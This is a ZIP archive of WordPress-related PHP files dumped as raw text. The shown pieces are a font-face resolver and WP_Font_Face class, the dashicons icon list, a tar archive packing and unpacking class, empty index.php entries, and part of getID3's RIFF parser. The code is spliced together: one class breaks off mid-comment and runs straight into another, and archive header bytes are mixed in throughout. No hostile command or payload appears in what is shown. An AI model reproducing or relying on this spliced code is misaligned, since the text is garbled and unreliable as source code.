); $converted_font_faces[] = $font_face; } return $converted_font_faces; } /** * Converts each 'file:./' placeholder into a URI to the font file in the theme. * * The 'file:./' is specified in the theme's `theme.json` as a placeholder to be * replaced with the URI to the font file's location in the theme. When a "src" * beings with this placeholder, it is replaced, converting the src into a URI. * * @since 6.4.0 * * @param array $src An array of font file sources to process. * @return array An array of font file src URI(s). */ private static function to_theme_file_uri( array $src ) { $placeholder = 'file:./'; foreach ( $src as $src_key => $src_url ) { // Skip if the src doesn't start with the placeholder, as there's nothing to replace. if ( ! str_starts_with( $src_url, $placeholder ) ) { continue; } $src_file = str_replace( $placeholder, '', $src_url ); $src[ $src_key ] = get_theme_file_uri( $src_file ); } return $src; } /** * Converts all first dimension keys into kebab-case. * * @since 6.4.0 * * @param array $data The array to process. * @return array Data with first dimension keys converted into kebab-case. */ private static function to_kebab_case( array $data ) { foreach ( $data as $key => $value ) { $kebab_case = _wp_to_kebab_case( $key ); $data[ $kebab_case ] = $value; if ( $kebab_case !== $key ) { unset( $data[ $key ] ); } } return $data; } } PK#["8 dashicons.svgnu[admin-appearanceadmin-collapseadmin-commentsadmin-customizeradmin-genericadmin-homeadmin-linksadmin-mediaadmin-multisiteadmin-networkadmin-pageadmin-pluginsadmin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3admin-siteadmin-toolsadmin-usersairplanealbumalign-centeralign-full-widthalign-leftalign-nonealign-pull-leftalign-pull-rightalign-rightalign-wideamazonanalyticsarchivearrow-down-altarrow-down-alt2arrow-downarrow-left-altarrow-left-alt2arrow-leftarrow-right-altarrow-right-alt2arrow-rightarrow-up-altarrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbellblock-defaultbook-altbookbuddicons-activitybuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groupsbuddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuildingbusinessmanbusinesspersonbusinesswomanbuttoncalculatorcalendar-altcalendarcamera-altcameracarcarrotcartcategorychart-areachart-barchart-linechart-pieclipboardclockcloud-savedcloud-uploadcloudcode-standardscoffeecolor-pickercolumnscontrols-backcontrols-forwardcontrols-pausecontrols-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeoncover-imagedashboarddatabase-adddatabase-exportdatabase-importdatabase-removedatabase-viewdatabasedesktopdismissdownloaddrumstickedit-largeedit-pageediteditor-aligncentereditor-alignlefteditor-alignrighteditor-boldeditor-breakeditor-code-duplicateeditor-codeeditor-contracteditor-customchareditor-expandeditor-helpeditor-indenteditor-insertmoreeditor-italiceditor-justifyeditor-kitchensinkeditor-ltreditor-ol-rtleditor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-wordeditor-quoteeditor-removeformattingeditor-rtleditor-spellcheckeditor-strikethrougheditor-tableeditor-textcoloreditor-uleditor-underlineeditor-unlinkeditor-videoellipsisemail-altemail-alt2emailembed-audioembed-genericembed-photoembed-postembed-videoexcerpt-viewexitexternalfacebook-altfacebookfeedbackfilterflagfoodformat-asideformat-audioformat-chatformat-galleryformat-imageformat-quoteformat-statusformat-videoformsfullscreen-altfullscreen-exit-altgamesgooglegoogleplusgrid-viewgroupshammerheadinghearthiddenhourglasshtmlid-altidimage-cropimage-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-rightimage-rotateimages-altimages-alt2index-cardinfo-outlineinfoinsert-afterinsert-beforeinsertinstagramlaptoplayoutleftrightlightbulblinkedinlist-viewlocation-altlocationlock-duplicatelockmarkermedia-archivemedia-audiomedia-codemedia-defaultmedia-documentmedia-interactivemedia-spreadsheetmedia-textmedia-videomegaphonemenu-altmenu-alt2menu-alt3menumicrophonemigrateminusmoney-altmoneymovenametagnetworkingno-altnoopen-folderpalmtreepaperclippdfperformancepetsphonepinterestplaylist-audioplaylist-videoplugins-checkedplus-altplus-alt2pluspodioportfoliopost-statuspressthisprinterprivacyproductsrandomizeredditredoremoverest-apirsssavedschedulescreenoptionssearchshare-altshare-alt2shareshield-altshieldshortcodeslidessmartphonesmileysortsosspotifystar-emptystar-filledstar-halfstickystoresuperhero-altsuperherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloudtestimonialtext-pagetextthumbs-downthumbs-uptickets-altticketstidetranslationtrashtwitchtwitter-alttwitterundouniversal-access-altuniversal-accessunlockupdate-altupdateuploadvaultvideo-altvideo-alt2video-alt3visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsappwordpress-altwordpressxingyes-altyesyoutubePK#[K"((class-wp-font-face.phpnu[ '', 'font-style' => 'normal', 'font-weight' => '400', 'font-display' => 'fallback', ); /** * Valid font-face property names. * * @since 6.4.0 * * @var string[] */ private $valid_font_face_properties = array( 'ascent-override', 'descent-override', 'font-display', 'font-family', 'font-stretch', 'font-style', 'font-weight', 'font-variant', 'font-feature-settings', 'font-variation-settings', 'line-gap-override', 'size-adjust', 'src', 'unicode-range', ); /** * Valid font-display values. * * @since 6.4.0 * * @var string[] */ private $valid_font_display = array( 'auto', 'block', 'fallback', 'swap', 'optional' ); /** * Array of font-face style tag's attribute(s) * where the key is the attribute name and the * value is its value. * * @since 6.4.0 * * @var string[] */ private $style_tag_attrs = array(); /** * Creates and initializes an instance of WP_Font_Face. * * @since 6.4.0 */ public function __construct() { if ( function_exists( 'is_admin' ) && ! is_admin() && function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' ) ) { $this->style_tag_attrs = array( 'type' => 'text/css' ); } } /** * Generates and prints the `@font-face` styles for the given fonts. * * @since 6.4.0 * * @param array[][] $fonts Optional. The font-families and their font variations. * See {@see wp_print_font_faces()} for the supported fields. * Default empty array. */ public function generate_and_print( array $fonts ) { $fonts = $this->validate_fonts( $fonts ); // Bail out if there are no fonts are given to process. if ( empty( $fonts ) ) { return; } $css = $this->get_css( $fonts ); /* * The font-face CSS is contained within and open a errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKm"[ index.phpnu[PKm"[281557/index.phpnu[PKm"[;jjmodule.audio-video.riff.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.riff.php // // module for analyzing RIFF files // // multiple formats supported by this module: // // Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX // // dependencies: module.audio.mp3.php // // module.audio.ac3.php // // module.audio.dts.php // // /// ///////////////////////////////////////////////////////////////// /** * @todo Parse AC-3/DTS audio inside WAVE correctly * @todo Rewrite RIFF parser totally */ if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true); getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true); getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true); class getid3_riff extends getid3_handler { protected $container = 'riff'; // default /** * @return bool * * @throws getid3_exception */ public function Analyze() { $info = &$this->getid3->info; // initialize these values to an empty array, otherwise they default to NULL // and you can't append array values to a NULL value $info['riff'] = array('raw'=>array()); // Shortcuts $thisfile_riff = &$info['riff']; $thisfile_riff_raw = &$thisfile_riff['raw']; $thisfile_audio = &$info['audio']; $thisfile_video = &$info['video']; $thisfile_audio_dataformat = &$thisfile_audio['dataformat']; $thisfile_riff_audio = &$thisfile_riff['audio']; $thisfile_riff_video = &$thisfile_riff['video']; $thisfile_riff_WAVE = array(); $Original = array(); $Original['avdataoffset'] = $info['avdataoffset']; $Original['avdataend'] = $info['avdataend']; $this->fseek($info['avdataoffset']); $RIFFheader = $this->fread(12); $offset = $this->ftell(); $RIFFtype = substr($RIFFheader, 0, 4); $RIFFsize = substr($RIFFheader, 4, 4); $RIFFsubtype = substr($RIFFheader, 8, 4); switch ($RIFFtype) { case 'FORM': // AIFF, AIFC //$info['fileformat'] = 'aiff'; $this->container = 'aiff'; $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); break; case 'RIFF': // AVI, WAV, etc case 'SDSS': // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com) case 'RMP3': // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s //$info['fileformat'] = 'riff'; $this->container = 'riff'; $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); if ($RIFFsubtype == 'RMP3') { // RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s $RIFFsubtype = 'WAVE'; } if ($RIFFsubtype != 'AMV ') { // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size // Handled separately in ParseRIFFAMV() $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); } if (($info['avdataend'] - $info['filesize']) == 1) { // LiteWave appears to incorrectly *not* pad actual output file // to nearest WORD boundary so may appear to be short by one // byte, in which case - skip warning $info['avdataend'] = $info['filesize']; } $nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) { try { $this->fseek($nextRIFFoffset); } catch (getid3_exception $e) { if ($e->getCode() == 10) { //$this->warning('RIFF parser: '.$e->getMessage()); $this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong'); $this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present'); break; } else { throw $e; } } $nextRIFFheader = $this->fread(12); if ($nextRIFFoffset == ($info['avdataend'] - 1)) { if (substr($nextRIFFheader, 0, 1) == "\x00") { // RIFF padded to WORD boundary, we're actually already at the end break; } } $nextRIFFheaderID = substr($nextRIFFheader, 0, 4); $nextRIFFsize = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4)); $nextRIFFtype = substr($nextRIFFheader, 8, 4); $chunkdata = array(); $chunkdata['offset'] = $nextRIFFoffset + 8; $chunkdata['size'] = $nextRIFFsize; $nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size']; switch ($nextRIFFheaderID) { case 'RIFF': $chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset); if (!isset($thisfile_riff[$nextRIFFtype])) { $thisfile_riff[$nextRIFFtype] = array(); } $thisfile_riff[$nextRIFFtype][] = $chunkdata; break; case 'AMV ': unset($info['riff']); $info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset); break; case 'JUNK': // ignore $thisfile_riff[$nextRIFFheaderID][] = $chunkdata; break; case 'IDVX': $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size'])); break; default: if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) { $DIVXTAG = $nextRIFFheader.$this->fread(128 - 12); if (substr($DIVXTAG, -7) == 'DIVXTAG') { // DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file $this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway'); $info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG); break 2; } } $this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file'); break 2; } } if ($RIFFsubtype == 'WAVE') { $thisfile_riff_WAVE = &$thisfile_riff['WAVE']; } break; default: $this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead'); //unset($info['fileformat']); return false; } $streamindex = 0; switch ($RIFFsubtype) { // http://en.wikipedia.org/wiki/Wav case 'WAVE': $info['fileformat'] = 'wav'; if (empty($thisfile_audio['bitrate_mode'])) { $thisfile_audio['bitrate_mode'] = 'cbr'; } if (empty($thisfile_audio_dataformat)) { $thisfile_audio_dataformat = 'wav'; } if (isset($thisfile_riff_WAVE['data'][0]['offset'])) { $info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8; $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size']; } if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) { $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']); $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) { $this->error('Corrupt RIFF file: bitrate_audio == zero'); return false; } $thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw']; unset($thisfile_riff_audio[$streamindex]['raw']); $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; $thisfile_audio = (array) getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') { $this->warning('Audio codec = '.$thisfile_audio['codec']); } $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV) $info['playtime_seconds'] = (float)getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $thisfile_audio['bitrate']); } $thisfile_audio['lossless'] = false; if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { case 0x0001: // PCM $thisfile_audio['lossless'] = true; break; case 0x2000: // AC-3 $thisfile_audio_dataformat = 'ac3'; break; default: // do nothing break; } } $thisfile_audio['streams'][$streamindex]['wformattag'] = $thisfile_audio['wformattag']; $thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; $thisfile_audio['streams'][$streamindex]['lossless'] = $thisfile_audio['lossless']; $thisfile_audio['streams'][$streamindex]['dataformat'] = $thisfile_audio_dataformat; } if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) { // shortcuts $rgadData = &$thisfile_riff_WAVE['rgad'][0]['data']; $thisfile_riff_raw['rgad'] = array('track'=>array(), 'album'=>array()); $thisfile_riff_raw_rgad = &$thisfile_riff_raw['rgad']; $thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track']; $thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album']; $thisfile_riff_raw_rgad['fPeakAmplitude'] = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4)); $thisfile_riff_raw_rgad['nRadioRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 4, 2)); $thisfile_riff_raw_rgad['nAudiophileRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 6, 2)); $nRadioRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT); $nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT); $thisfile_riff_raw_rgad_track['name'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3)); $thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3)); $thisfile_riff_raw_rgad_track['signbit'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1)); $thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9)); $thisfile_riff_raw_rgad_album['name'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3)); $thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3)); $thisfile_riff_raw_rgad_album['signbit'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1)); $thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9)); $thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude']; if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) { $thisfile_riff['rgad']['track']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']); $thisfile_riff['rgad']['track']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']); $thisfile_riff['rgad']['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']); } if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) { $thisfile_riff['rgad']['album']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']); $thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']); $thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']); } } if (isset($thisfile_riff_WAVE['fact'][0]['data'])) { $thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4)); // This should be a good way of calculating exact playtime, // but some sample files have had incorrect number of samples, // so cannot use this method // if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) { // $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec']; // } } if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) { $thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8); } if 